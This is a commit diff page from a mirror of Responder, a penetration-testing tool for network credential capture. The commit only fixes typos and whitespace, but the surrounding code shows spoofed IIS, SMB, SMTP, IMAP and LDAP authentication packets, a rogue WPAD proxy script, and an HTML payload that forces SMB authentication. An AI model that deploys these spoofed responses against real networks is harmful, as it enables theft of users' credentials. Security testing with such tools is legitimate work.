github/Responder
1
0
Fork 0
mirror of https://github.com/lgandx/Responder.git synced 2025-07-15 01:22:52 -07:00
Code Issues Projects Releases Packages Wiki Activity Actions

First round of cleanup

Browse source
This commit is contained in:
Matt Andreko 2015-10-27 16:50:05 -04:00
parent 59e48e80dd
commit 008b492c98
15 changed files with 81 additions and 81 deletions
Download patch file Download diff file Expand all files Collapse all files

4
README.md
View file

@ -30,7 +30,7 @@ Note: This module also works for WebDav NTLM authentication issued from Windows
- Built-in HTTPS Auth server. - Built-in HTTPS Auth server.
Same as above. The folder certs/ containa 2 default keys, including a dummy private key. This is *intentional*, the purpose is to have Responder working out of the box. A script was added in case you need to generate your own self signed key pair. Same as above. The folder certs/ contains 2 default keys, including a dummy private key. This is *intentional*, the purpose is to have Responder working out of the box. A script was added in case you need to generate your own self signed key pair.
- Built-in LDAP Auth server. - Built-in LDAP Auth server.
@ -46,7 +46,7 @@ This server will answer type A queries. This is really handy when it's combined
- Built-in WPAD Proxy Server. - Built-in WPAD Proxy Server.
This module will capture all HTTP requests from anyone launching Internet Explorer on the network if they have "Auto-detect settings" enabled. This module is higly effective. You can configure your custom PAC script in Responder.conf and inject HTML into the server's responses. See Responder.conf. This module will capture all HTTP requests from anyone launching Internet Explorer on the network if they have "Auto-detect settings" enabled. This module is highly effective. You can configure your custom PAC script in Responder.conf and inject HTML into the server's responses. See Responder.conf.
- Browser Listener - Browser Listener

2
Responder.py
View file

@ -201,7 +201,7 @@ def main():
thread.start_new(serve_thread_tcp,('', 3141, HTTP_Proxy)) thread.start_new(serve_thread_tcp,('', 3141, HTTP_Proxy))
if settings.Config.SMB_On_Off: if settings.Config.SMB_On_Off:
if settings.Config.LM_On_Off == True: if settings.Config.LM_On_Off:
from servers.SMB import SMB1LM from servers.SMB import SMB1LM
thread.start_new(serve_thread_tcp,('', 445, SMB1LM)) thread.start_new(serve_thread_tcp,('', 445, SMB1LM))
thread.start_new(serve_thread_tcp,('', 139, SMB1LM)) thread.start_new(serve_thread_tcp,('', 139, SMB1LM))

2
odict.py
View file

@ -77,7 +77,7 @@ class OrderedDict(dict, DictMixin):
inst_dict = vars(self).copy() inst_dict = vars(self).copy()
self.__map, self.__end = tmp self.__map, self.__end = tmp
if inst_dict: if inst_dict:
return (self.__class__, (items,), inst_dict) return self.__class__, (items,), inst_dict
return self.__class__, (items,) return self.__class__, (items,)
def keys(self): def keys(self):

104
packets.py
View file

@ -74,7 +74,7 @@ class DNS_Ans(Packet):
("AnswerPointer", "\xc0\x0c"), ("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x01"), ("Type1", "\x00\x01"),
("Class1", "\x00\x01"), ("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, dont mess with their cache for too long.. ("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("IPLen", "\x00\x04"), ("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"), ("IP", "\x00\x00\x00\x00"),
]) ])
@ -169,7 +169,7 @@ class NTLM_Challenge(Packet):
("Av5Len", "\x12\x00"), ("Av5Len", "\x12\x00"),
("Av5Str", "smb.local"), ("Av5Str", "smb.local"),
("Av6", "\x00\x00"),#AvPairs Terminator ("Av6", "\x00\x00"),#AvPairs Terminator
("Av6Len", "\x00\x00"), ("Av6Len", "\x00\x00"),
]) ])
def calculate(self): def calculate(self):
@ -180,7 +180,7 @@ class NTLM_Challenge(Packet):
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
# Then calculate # Then calculate
CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"]) CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
@ -209,8 +209,8 @@ class IIS_Auth_401_Ans(Packet):
("Type", "Content-Type: text/html\r\n"), ("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "WWW-Authenticate: NTLM\r\n"), ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"), ("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("Len", "Content-Length: 0\r\n"), ("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"), ("CRLF", "\r\n"),
]) ])
class IIS_Auth_Granted(Packet): class IIS_Auth_Granted(Packet):
@ -222,7 +222,7 @@ class IIS_Auth_Granted(Packet):
("WWW-Auth", "WWW-Authenticate: NTLM\r\n"), ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"), ("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("ContentLen", "Content-Length: "), ("ContentLen", "Content-Length: "),
("ActualLen", "76"), ("ActualLen", "76"),
("CRLF", "\r\n\r\n"), ("CRLF", "\r\n\r\n"),
("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\shar\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"), ("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\shar\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
]) ])
@ -240,7 +240,7 @@ class IIS_NTLM_Challenge_Ans(Packet):
("Payload-CRLF", "\r\n"), ("Payload-CRLF", "\r\n"),
("PoweredBy", "X-Powered-By: ASP.NC0CD7B7802C76736E9B26FB19BEB2D36290B9FF9A46EDDA5ET\r\n"), ("PoweredBy", "X-Powered-By: ASP.NC0CD7B7802C76736E9B26FB19BEB2D36290B9FF9A46EDDA5ET\r\n"),
("Len", "Content-Length: 0\r\n"), ("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"), ("CRLF", "\r\n"),
]) ])
def calculate(self,payload): def calculate(self,payload):
@ -256,8 +256,8 @@ class IIS_Basic_401_Ans(Packet):
("PoweredBy", "X-Powered-By: ASP.NET\r\n"), ("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("AllowOrigin", "Access-Control-Allow-Origin: *\r\n"), ("AllowOrigin", "Access-Control-Allow-Origin: *\r\n"),
("AllowCreds", "Access-Control-Allow-Credentials: true\r\n"), ("AllowCreds", "Access-Control-Allow-Credentials: true\r\n"),
("Len", "Content-Length: 0\r\n"), ("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"), ("CRLF", "\r\n"),
]) ])
##### Proxy mode Packets ##### ##### Proxy mode Packets #####
@ -269,7 +269,7 @@ class WPADScript(Packet):
("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"), ("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"), ("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("ContentLen", "Content-Length: "), ("ContentLen", "Content-Length: "),
("ActualLen", "76"), ("ActualLen", "76"),
("CRLF", "\r\n\r\n"), ("CRLF", "\r\n\r\n"),
("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"), ("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"),
]) ])
@ -288,7 +288,7 @@ class ServeExeFile(Packet):
("ContentDiFile", ""), ("ContentDiFile", ""),
("FileCRLF", ";\r\n"), ("FileCRLF", ";\r\n"),
("ContentLen", "Content-Length: "), ("ContentLen", "Content-Length: "),
("ActualLen", "76"), ("ActualLen", "76"),
("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"), ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
("Connection", "Connection: keep-alive\r\n"), ("Connection", "Connection: keep-alive\r\n"),
("X-CCC", "US\r\n"), ("X-CCC", "US\r\n"),
@ -308,7 +308,7 @@ class ServeHtmlFile(Packet):
("Server", "Server: Microsoft-IIS/7.5\r\n"), ("Server", "Server: Microsoft-IIS/7.5\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"), ("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("ContentLen", "Content-Length: "), ("ContentLen", "Content-Length: "),
("ActualLen", "76"), ("ActualLen", "76"),
("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"), ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
("Connection", "Connection: keep-alive\r\n"), ("Connection", "Connection: keep-alive\r\n"),
("CRLF", "\r\n"), ("CRLF", "\r\n"),
@ -330,7 +330,7 @@ class FTPPacket(Packet):
class MSSQLPreLoginAnswer(Packet): class MSSQLPreLoginAnswer(Packet):
fields = OrderedDict([ fields = OrderedDict([
("PacketType", "\x04"), ("PacketType", "\x04"),
("Status", "\x01"), ("Status", "\x01"),
("Len", "\x00\x25"), ("Len", "\x00\x25"),
("SPID", "\x00\x00"), ("SPID", "\x00\x00"),
("PacketID", "\x01"), ("PacketID", "\x01"),
@ -352,7 +352,7 @@ class MSSQLPreLoginAnswer(Packet):
("SubBuild", "\x00\x00"), ("SubBuild", "\x00\x00"),
("EncryptionStr", "\x02"), ("EncryptionStr", "\x02"),
("InstOptStr", "\x00"), ("InstOptStr", "\x00"),
]) ])
def calculate(self): def calculate(self):
CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"]) CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"])
@ -376,7 +376,7 @@ class MSSQLPreLoginAnswer(Packet):
class MSSQLNTLMChallengeAnswer(Packet): class MSSQLNTLMChallengeAnswer(Packet):
fields = OrderedDict([ fields = OrderedDict([
("PacketType", "\x04"), ("PacketType", "\x04"),
("Status", "\x01"), ("Status", "\x01"),
("Len", "\x00\xc7"), ("Len", "\x00\xc7"),
("SPID", "\x00\x00"), ("SPID", "\x00\x00"),
@ -415,7 +415,7 @@ class MSSQLNTLMChallengeAnswer(Packet):
("Av5Str", "smb.local"), ("Av5Str", "smb.local"),
("Av6", "\x00\x00"),#AvPairs Terminator ("Av6", "\x00\x00"),#AvPairs Terminator
("Av6Len", "\x00\x00"), ("Av6Len", "\x00\x00"),
]) ])
def calculate(self): def calculate(self):
# First convert to unicode # First convert to unicode
@ -425,7 +425,7 @@ class MSSQLNTLMChallengeAnswer(Packet):
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
# Then calculate # Then calculate
CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
@ -454,59 +454,59 @@ class MSSQLNTLMChallengeAnswer(Packet):
class SMTPGreeting(Packet): class SMTPGreeting(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Code", "220"), ("Code", "220"),
("Separator", "\x20"), ("Separator", "\x20"),
("Message", "smtp01.local ESMTP"), ("Message", "smtp01.local ESMTP"),
("CRLF", "\x0d\x0a"), ("CRLF", "\x0d\x0a"),
]) ])
class SMTPAUTH(Packet): class SMTPAUTH(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Code0", "250"), ("Code0", "250"),
("Separator0", "\x2d"), ("Separator0", "\x2d"),
("Message0", "smtp01.local"), ("Message0", "smtp01.local"),
("CRLF0", "\x0d\x0a"), ("CRLF0", "\x0d\x0a"),
("Code", "250"), ("Code", "250"),
("Separator", "\x20"), ("Separator", "\x20"),
("Message", "AUTH LOGIN PLAIN XYMCOOKIE"), ("Message", "AUTH LOGIN PLAIN XYMCOOKIE"),
("CRLF", "\x0d\x0a"), ("CRLF", "\x0d\x0a"),
]) ])
class SMTPAUTH1(Packet): class SMTPAUTH1(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Code", "334"), ("Code", "334"),
("Separator", "\x20"), ("Separator", "\x20"),
("Message", "VXNlcm5hbWU6"),#Username ("Message", "VXNlcm5hbWU6"),#Username
("CRLF", "\x0d\x0a"), ("CRLF", "\x0d\x0a"),
]) ])
class SMTPAUTH2(Packet): class SMTPAUTH2(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Code", "334"), ("Code", "334"),
("Separator", "\x20"), ("Separator", "\x20"),
("Message", "UGFzc3dvcmQ6"),#Password ("Message", "UGFzc3dvcmQ6"),#Password
("CRLF", "\x0d\x0a"), ("CRLF", "\x0d\x0a"),
]) ])
##### IMAP Packets ##### ##### IMAP Packets #####
class IMAPGreeting(Packet): class IMAPGreeting(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Code", "* OK IMAP4 service is ready."), ("Code", "* OK IMAP4 service is ready."),
("CRLF", "\r\n"), ("CRLF", "\r\n"),
]) ])
class IMAPCapability(Packet): class IMAPCapability(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"), ("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"),
("CRLF", "\r\n"), ("CRLF", "\r\n"),
]) ])
class IMAPCapabilityEnd(Packet): class IMAPCapabilityEnd(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Tag", ""), ("Tag", ""),
("Message", " OK CAPABILITY completed."), ("Message", " OK CAPABILITY completed."),
("CRLF", "\r\n"), ("CRLF", "\r\n"),
]) ])
##### POP3 Packets ##### ##### POP3 Packets #####
class POPOKPacket(Packet): class POPOKPacket(Packet):
@ -659,10 +659,10 @@ class LDAPNTLMChallenge(Packet):
("NTLMSSPNTLMChallengeAVPairsUnicodeStr", "smb12"), ("NTLMSSPNTLMChallengeAVPairsUnicodeStr", "smb12"),
("NTLMSSPNTLMChallengeAVPairs1Id", "\x01\x00"), ("NTLMSSPNTLMChallengeAVPairs1Id", "\x01\x00"),
("NTLMSSPNTLMChallengeAVPairs1Len", "\x1e\x00"), ("NTLMSSPNTLMChallengeAVPairs1Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", "SERVER2008"), ("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", "SERVER2008"),
("NTLMSSPNTLMChallengeAVPairs2Id", "\x04\x00"), ("NTLMSSPNTLMChallengeAVPairs2Id", "\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs2Len", "\x1e\x00"), ("NTLMSSPNTLMChallengeAVPairs2Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", "smb12.local"), ("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", "smb12.local"),
("NTLMSSPNTLMChallengeAVPairs3Id", "\x03\x00"), ("NTLMSSPNTLMChallengeAVPairs3Id", "\x03\x00"),
("NTLMSSPNTLMChallengeAVPairs3Len", "\x1e\x00"), ("NTLMSSPNTLMChallengeAVPairs3Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", "SERVER2008.smb12.local"), ("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", "SERVER2008.smb12.local"),
@ -734,7 +734,7 @@ class SMBNego(Packet):
("bcc", "\x62\x00"), ("bcc", "\x62\x00"),
("data", "") ("data", "")
]) ])
def calculate(self): def calculate(self):
self.fields["bcc"] = struct.pack("<h",len(str(self.fields["data"]))) self.fields["bcc"] = struct.pack("<h",len(str(self.fields["data"])))
@ -777,7 +777,7 @@ class SMBSessionData(Packet):
("NativeLanmanTerminator","\x00"), ("NativeLanmanTerminator","\x00"),
]) ])
def calculate(self): def calculate(self):
CompleteBCC = str(self.fields["AccountPassword"])+str(self.fields["AccountName"])+str(self.fields["AccountNameTerminator"])+str(self.fields["PrimaryDomain"])+str(self.fields["PrimaryDomainTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLanman"])+str(self.fields["NativeLanmanTerminator"]) CompleteBCC = str(self.fields["AccountPassword"])+str(self.fields["AccountName"])+str(self.fields["AccountNameTerminator"])+str(self.fields["PrimaryDomain"])+str(self.fields["PrimaryDomainTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLanman"])+str(self.fields["NativeLanmanTerminator"])
self.fields["bcc"] = struct.pack("<h", len(CompleteBCC)) self.fields["bcc"] = struct.pack("<h", len(CompleteBCC))
self.fields["PasswordLen"] = struct.pack("<h", len(str(self.fields["AccountPassword"]))) self.fields["PasswordLen"] = struct.pack("<h", len(str(self.fields["AccountPassword"])))
@ -815,8 +815,8 @@ class SMBSessionFingerData(Packet):
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"), ("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
]) ])
def calculate(self): def calculate(self):
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2] self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
class SMBTreeConnectData(Packet): class SMBTreeConnectData(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -834,7 +834,7 @@ class SMBTreeConnectData(Packet):
("Terminator", "\x00"), ("Terminator", "\x00"),
]) ])
def calculate(self): def calculate(self):
self.fields["PasswdLen"] = struct.pack("<h", len(str(self.fields["Passwd"])))[:2] self.fields["PasswdLen"] = struct.pack("<h", len(str(self.fields["Passwd"])))[:2]
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"]) BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Bcc"] = struct.pack("<h", len(BccComplete)) self.fields["Bcc"] = struct.pack("<h", len(BccComplete))
@ -965,7 +965,7 @@ class SMBNegoAns(Packet):
("NegHintASNLen", "\x19"), ("NegHintASNLen", "\x19"),
("NegHintTag0ASNId", "\xa0"), ("NegHintTag0ASNId", "\xa0"),
("NegHintTag0ASNLen", "\x17"), ("NegHintTag0ASNLen", "\x17"),
("NegHintFinalASNId", "\x1b"), ("NegHintFinalASNId", "\x1b"),
("NegHintFinalASNLen", "\x15"), ("NegHintFinalASNLen", "\x15"),
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"), ("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
]) ])
@ -1037,7 +1037,7 @@ class SMBNegoKerbAns(Packet):
("NegHintASNLen", "\x19"), ("NegHintASNLen", "\x19"),
("NegHintTag0ASNId", "\xa0"), ("NegHintTag0ASNId", "\xa0"),
("NegHintTag0ASNLen", "\x17"), ("NegHintTag0ASNLen", "\x17"),
("NegHintFinalASNId", "\x1b"), ("NegHintFinalASNId", "\x1b"),
("NegHintFinalASNLen", "\x15"), ("NegHintFinalASNLen", "\x15"),
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"), ("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
]) ])
@ -1073,8 +1073,8 @@ class SMBSession1Data(Packet):
("Action", "\x00\x00"), ("Action", "\x00\x00"),
("SecBlobLen", "\xea\x00"), ("SecBlobLen", "\xea\x00"),
("Bcc", "\x34\x01"), ("Bcc", "\x34\x01"),
("ChoiceTagASNId", "\xa1"), ("ChoiceTagASNId", "\xa1"),
("ChoiceTagASNLenOfLen", "\x81"), ("ChoiceTagASNLenOfLen", "\x81"),
("ChoiceTagASNIdLen", "\x00"), ("ChoiceTagASNIdLen", "\x00"),
("NegTokenTagASNId", "\x30"), ("NegTokenTagASNId", "\x30"),
("NegTokenTagASNLenOfLen","\x81"), ("NegTokenTagASNLenOfLen","\x81"),
@ -1118,10 +1118,10 @@ class SMBSession1Data(Packet):
("NTLMSSPNTLMChallengeAVPairsUnicodeStr","smb12"), ("NTLMSSPNTLMChallengeAVPairsUnicodeStr","smb12"),
("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"), ("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"), ("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SERVER2008"), ("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SERVER2008"),
("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"), ("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"), ("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","smb12.local"), ("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","smb12.local"),
("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"), ("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
